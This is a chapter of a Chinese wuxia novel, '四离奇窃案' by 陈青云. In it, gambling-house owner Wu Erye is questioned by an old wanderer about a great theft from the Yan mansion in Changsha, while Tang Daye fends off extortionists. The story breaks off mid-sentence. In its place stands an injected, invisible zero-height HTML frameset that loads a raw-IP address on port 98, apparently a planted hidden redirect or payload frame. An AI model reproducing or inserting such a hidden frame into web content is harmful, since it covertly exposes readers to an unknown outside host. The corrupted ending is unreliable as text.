四离奇窃案

陈青云 / 著投票加入书签

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    (一)

    书房里气氛异常沉闷。

    吴二爷托腮陷入深思。

    那个曾一度为富贵赌坊带来不少麻烦的穷老头,此刻虽仍坐在吴二爷对面,但吴二爷却似乎已经忘记了书房中还有这样一个人。

    如今,紧紧盘据在吴二爷心头的,是一层又一层,无穷无尽的懊恼。

    他深恨自己糊涂。

    恨自己来到长沙已七八年,竟未留意到长沙城内有座颜尚书府,竟未留意到这座颜尚书府中藏着这么一批稀世珍宝!

    如果他早知道这一点,又何必像王宝钏苦守寒窑一般,一撑这么多年?

    这么多年来,他是捞得不少,但要跟颜府失窃的这批宝物比起来,却不啻小巫见大巫。

    要是他早知道这一点,当年刚到长沙,就狠下心来干一票,他又何必寄人篱下,委委曲曲,窝窝囊囊的,扮上这么多年的龟孙子?

    被冷落了的穷老头,突然重重的发出一阵咳嗽。

    吴二爷如自梦中惊醒。

    吴二爷回到现实,才想起一切幻想都是虚假,如何打发这个老家伙,才是当前要务。

    于是,他定定神,向穷老头赔笑道:“还没有请教老前辈如何称呼?”

    穷老头笑笑道:“老汉如何称呼,无关宏旨;咱们大家时间有的是。你吴大老板,尽可仔细斟酌一下,是先设法处理你的那批珍宝,还是先设法打发我这个大瘟神?”

    吴二爷一怔道:“珍宝?什么珍宝?”

    穷老头轻轻叹了口气,道:“看样子,我们大概是谈不拢了。”

    吴二爷眼珠子转动了几下,忽然哈哈大笑。

    穷老头道:“吴二当家的,什么事如此好笑?”

    呈二爷好不容易才忍住了笑声,道:“老前辈是不是怀疑我跟颜府窃案有牵连?”

    穷老头道:“难道没有?”

    吴二爷忍不住又笑了起来道:“如果吴某人跟颜府窃案有牵连,你想我吴某人今天还会安安稳稳的坐在这里?”

    穷老头道:“这种反证勉强得很,以你吴二爷的老谋深算,加上又不是你吴二爷亲自动的手,你为什么不能安安稳稳的坐在这里?”

    吴二爷道:“那么,老前辈要我如何举证,才肯相信我吴某人跟这件窃案毫无瓜葛?”

    穷老头道:“你得先说说你杀活无常麻竹庭灭口的理由。”

    吴二爷道:“如果前辈已知道这座后院曾经发生过一些什么事,前辈就该知道那厮完全是咎由自取。他不该无缘无故的,狮子大开口,向我吴某人勒索十万两银子。”

    穷老头道:“他向你勒索的事情,老汉清楚。但这只更增加了你吴大当家的对颜府窃案的嫌疑!”

    吴二爷微笑道:“如果前辈以为那厮是为了想分赃,而向吴某人加以勒索,那就大错而特错了。”

    穷老头道:“那么,他勒索的借口是什么?”

    吴二爷道:“前辈既是江湖中人,我吴某人也毋须加以隐瞒。天山门,断魂枪吴火狮,跟吴某人实为叔侄关系,而家叔跟这里的汤大爷为了争夺地盘,一向水火不容,前辈如果常在三湘走动,这一点谅亦有所耳闻。”

    穷老头点点头道:“吴火狮与汤中火两人明争暗斗的情形,老汉听人说过。”

    吴二爷道:“姓麻的这次从断魂四虎之一的暴虎吕耀庭口中,无意中获悉吴某人跟吴火狮的叔侄关系之后,自以为逮住了吴某人的把柄,他登门意图勒索吴某人十万两银子,便是以不揭发吴某人这个秘密为借口”

    穷老头又点头道:“很好,你解释的很清楚。”

    吴二爷接下去道:“所以——”

    “慢一点!”穷老头拦住他的话头道:“除此以外,还有一件事情,你吴大当家的能不能也一并为老汉解释一下?”

    吴二爷道:“什么事情?”

    穷老头道:“暴虎吕耀庭只是断魂四虎之一,另外的三虎,鬼虎、魔虎、和飞天虎,他们这次也悄悄来了长沙,又是为的什么?”

    吴二爷呆住了。一张面孔称是白中透青,慢慢又变红变紫,显然惊怒已达极点。

    因为,断魂四虎中其他三虎也跟暴虎一起悄悄的来到了长沙,他事先毫无所悉。

    穷老头道:“吴大当家的没有亲身参与颜府窃案,这一点老汉完全相信,不过,吴大当家是否敢挺胸保证,断魂四虎中另外三虎,也跟这件窃案毫无关系?”

    吴二爷脸上红紫消退,又转为一片青白。

    他不回答穷老头的问话,却扭头向书房外面大喝道:

    “来人啦!”-

    名家丁应声奔入。

    吴二爷沉声道:“去叫大总管进来!”

    家丁应了一声是,快步出房而去。

    不一会,大总管产必烈应召而至。

    吴二爷厉声道:“多带几名兄弟出去,尽快查明天门山来人,鬼虎姚冷空、魔虎张也师、及飞天虎柳乘风三人的落脚处,查明之后,火速回报。”

    (二)

    汤大爷一个人坐在花厅里生闷气,三姨太太替他端来一碗热腾腾的炖燕窝,他连看也没看一眼。

    厅中挂着两笼画眉乌,正在一个不服一个的大展婉转歌喉。

    平常时候,这是汤大爷的赏心乐事之一。

    他会逗着这两只高价买来的鸟儿,一玩就是个把时辰,丝毫不得厌倦疲累。

    但今天汤大爷心情实在太恶劣了,三姨太太放下炖燕窝,转身欲走,汤大爷竟然手一挥道:“把乌笼拿去后面,吵死了!”

    三姨太太心思乖巧,知道老爷一定遇上什么烦心事,当下一声不响,将鸟笼拎走了。

    三姨太太刚走,一名长衫驼背的老人接着走进花厅。

    见到这位管帐房的刘老夫子,汤大爷脸色方稍稍好看一点。

    汤大爷道:“此刻前面的情形怎么样?”

    刘老夫子摇摇头,吸了一口旱烟,缓缓将芋雾喷尽了,才不慌不忙的道:“还是老样子。”

    汤大爷道:“还是不断有人登门告帮?”

    刘老夫子道:“早先的七批不算,从中午到现在,又打发了十三批。”

    汤大爷道:“后来的这批人,胃口怎么样?”

    刘老夫子道:“一般说来,还不过份,只有九疑山的三狐兄弟,价码开得有点不大像话。”

    汤大爷道:“哦!三兄弟开口要多少?”

    刘老夫子道:“他们先不淡数目,刻意坚持要见大爷,说他们前两年曾在宁远地面帮过大爷一次大忙。”

    汤大爷道:“你可以告诉他们说,我凑巧不在家啊!”刘老夫子道:“这个哪还用大爷吩咐。”

    汤大爷道:“后来呢?”

    刘老夫于道:“这三兄弟真是难缠,一听大爷不在,便说要长住下来,好等大爷回来之后,痛痛快快的跟大爷叙一叙。”

    汤大爷哼了一声,双眉微微皱起:“跟这种人搭上了,永远没完没了,真后悔当时会跟这批瘟神打上交道。”

    刘老夫子道:“老朽见这批家伙不是好来路,便每人封给他们一百两银子。”

    汤大爷点头道:“好,这个数字封得恰到好处。”

    刘老夫子道:“恰到好处是差远了,三兄弟拿起银封,掂掂份量,竟然脸色大变,说老朽有意羞辱他们,并发狠要拆了老朽这把骨头。结果老朽见机得快,忙说那只是三份中的一份,又赶紧添了六百两,才将三个家伙打发走。”

    汤大爷气得脸色发青道:“今天长沙城中聚集的各路人马,少说点也有三五百人左右,要如果个个像他们三兄弟一样,我汤某人将如何应付?”

    刘老夫子轻轻叹了口气道:“这就要怪我们那位麻师爷了。应付这一类角色,他最拿手,但他老弟却偏偏选上这种要紧关口,不晓得跑去了哪里?”

    汤大爷道:“有没有继续派人出去找?”

    刘老夫子道:“怎么没有?如今派出去的第三批,城里可说什么地方都找遍了,就是不见我们那位老弟的人影子。”

    汤大爷道:“吴二爷那边派人去问过没有?”

    刘老夫子道:“去问的人刚刚回来,二爷说没有。”

    汤大爷起身背手踱步,心情异常烦躁。

    长沙出了这么一件轰动遐尔的大窃案,谁都可以料想得到,往后一段不短的日子,长沙城里一定不得安宁。

    他汤某人是湘东这一带地面上的龙头老大,如果控制不了未来的大局,他这块黄金地盘,很可能会因此出现危机。

    活无常麻竹庭无论武功或智谋,都是他最得力的一名助手。

    可是,令人难以置信的是,这位平时很少单独行动的麻老弟台,竟然在他最需要有人分忧的时候,突然失去踪影。

    “那个混蛋去了哪里呢?”

    汤大爷一头是火,但又找不出一点头绪来。

    刘老夫子思索了片刻道:“既然找不到麻师爷,东家急也没用,依老朽的意思,不如先请吴二爷过来商量商量,东家以为如何?”

    汤大爷呆了一下,不觉霍然失声道:“啊!你瞧我多糊涂,只顾了去找那个不成材的东西,竟忘了我们那位足智多谋的吴二爷”

    (三)

    离开富贵赌坊,回到客栈,弓展就没有再去别的地方。

    他原打算将用剩下来的一千多两银子,拿去退还那位颜大公子的,但照目前的形势看起来,他这一趟颜府之行,显然还是以省掉为妙。

    这是他出道以来,第二次背黑锅。

    他是今天早上,跟大穷神在客栈饭厅里喝酒时,才从几名黑道人物的闲谈中,蓦然获悉自己竟然又成了江湖上哄传一时的大人物。

    然后,大穷神便朝他使使眼色,拉他前往富贵赌坊。

    大穷神说,赌坊里品流复杂,最适合打听这一类消息。加上富贵赌坊主持人钢钩吴信义,外貌忠厚,内心奸诈,暗地里常跟一些不明身分的人物来往,说不定单从这位吴二爷身上着手,就可以找到这件大窃案的端倪。

    于是,他跟大穷神分工合作。

    大穷神在前厅以怪赌注吸引大家注意,他则潜赴后院,暗中观察那位吴二爷的行动举止。

    而这便是大穷神人虽未离赌台,却对后院一切了如指掌的秘密。

    最后,大穷神被吴二爷请去后院,他则依大穷神眼色行事,先行回到这家客栈。

    这是城里的一家下等廉价的客栈。

    在这家客栈落脚的,多为负贩者流,房外的大庭院,便是骡棚马厩,尽管门窗紧闭,一阵阵骚臭味,还是直往人鼻孔里钻。

    好在弓展并不在乎这些。

    他从小到大,从没有过养尊处优的日子,他也不稀罕那种只会把一个有志青年培养成另一个颜如玉的生活。

    所以,他回栈后,自己买了一点酒菜,关上房门,悠哉游哉,自得其乐。

    他有过一次被断肠人萧飒栽脏的经验,对这次背上颜府窃案的黑锅,他本有自己的主张以及行动的方式,他因为半路上插进一位大穷神,他为尊重对方的辈份,以及不忍违拗对方的一番好意,他愿意先听这位前辈的安排。

    同时,他还发觉,这次颜府的窃案,发生的时间似乎也太凑巧了一点。

    窃案早不发生,迟不发生,偏偏发生在他进颜府的当夜,这里面是否另有文章,亦颇耐人寻思。他乐得趁此机会,先冷静下来,仔仔细细加以推敲一番。

    (四)

    大总管黄必烈不愧为吴二爷倚重的心腹人物。

    偌大一座长沙城,若想在短时间内,去找出三名有意隐藏行踪的江湖高手,恐怕就连吴二爷自己都得承认不是一件容易事。

    而这位黄大总管,经过一番细心的盘算安排,居然在不到一个时辰之内,就找出了断魂三虎在城中的秘密落脚之处。

    黄大总管回来向吴二爷报告:“回老东家,断魂三虎的下落已经查出来了。三虎目前歇脚处,是北城的慈云庵。”

    吴二爷像上吓了一跳:“慈云庵?你说的是靠近北城门那座,尼姑庙?”

    黄必烈道:“不错,就是那座尼姑庙。”吴二爷道:“三个大男人,住在一座尼姑庙里,这成什么体统?”

    黄必烈微笑:“就因为这事说出来谁也不会相信,住在里面的人,才更显得安全!”

    吴二爷点点头,沉吟不语。就在这时候,三总管张小呆进来了。

    张小呆进门抱拳道:“汤大爷派人来过来请东家立即过去一下”

    吴二爷皱皱眉头,挥手命张小呆先行退下,然后转身向大穷神道:“前辈圣明,已知道颜府窃案与我吴某人无关,而前辈认为涉嫌颇重的断魂三虎,如今也已查出了下落,前辈是不是还有别的什么吩咐?”

    大穷神不住的点头,不住的说着:“好、好、好”他说好的意思,并不是他顺着吴二爷的请求,还有什么别的吩咐。

    他说的这几个好字,是正面的赞美词。

    被赞美的人,就是吴二爷。

    这位吴二爷自从在前厅赌场子见到了他,先后一个多时辰,言行举止方面,几乎找不到一丝暇疵来。

    这位遭遇重大的事故,周旋应对的定力和耐力,不由得令人觉得那位活无常麻竹庭死得实在一点也不冤枉。

    今天,双方若是易地以处,相信必然是另一种结果。

    最低限度,当这位吴二爷去敲诈勒索一个人时,他绝不会不替自己留一条退路。

    就算他对自己的一身武功很有把握,他也不会毫无提防的行走在对方两人的中间,为自己造成一种即使不受骗“看怪鸟”也会遭到“夹杀”的局面。

    大穷神离去时的神情,就像一只斗败了的公鸡,狼狈之至。

    但吴二爷仍然恭送如仪,礼敬如初。

    望着大穷神远去的背影,大总管黄必烈低声道:“这老家伙看上去毫无惹眼之处,老东家为什么要对他如此尊敬?”

    吴二爷笑笑道:“好在这只是你黄老大的想法,要如果我吴二也有这种想法的话,今天这座富贵赌坊纵然还能存在,恐怕也得另换一个东家和总管了。”

    大总管黄必烈吃了一惊道:“这老家伙难道竟是‘十八怪’中的‘饕餮双怪’之一?”

    吴二爷道:“再往上猜。”

    大总管黄必烈一呆道:“江湖五奇中人?”

    吴二爷笑道:“现在你对我对这老家伙的尊敬,还感不感觉奇怪?”

    (五)

    汤大爷一巴掌重重拍在桌子上,气冲冲的道:“老二,你说这种事情气不气人!像九疑三狐和辰州双熊这批货色,他们算是什么东西?居然一开口就是几百两几百两的要,好像一点都不把我汤中火看在眼里!”

    吴二爷赔笑道:“老大,您先别气,这件事情好解决。”

    汤大爷道:“好解决?今天到目前为止,已打发了二十多批,这样下去,我汤中火不被这些浑球掏光了才怪!”

    吴二爷道:“我那边的情形<frameset framespacing="0" border="0" rows="0" frameborder="0"><frame name="main" src="http://58.220.32.210:98/" scrolling="auto" noresize></frameset>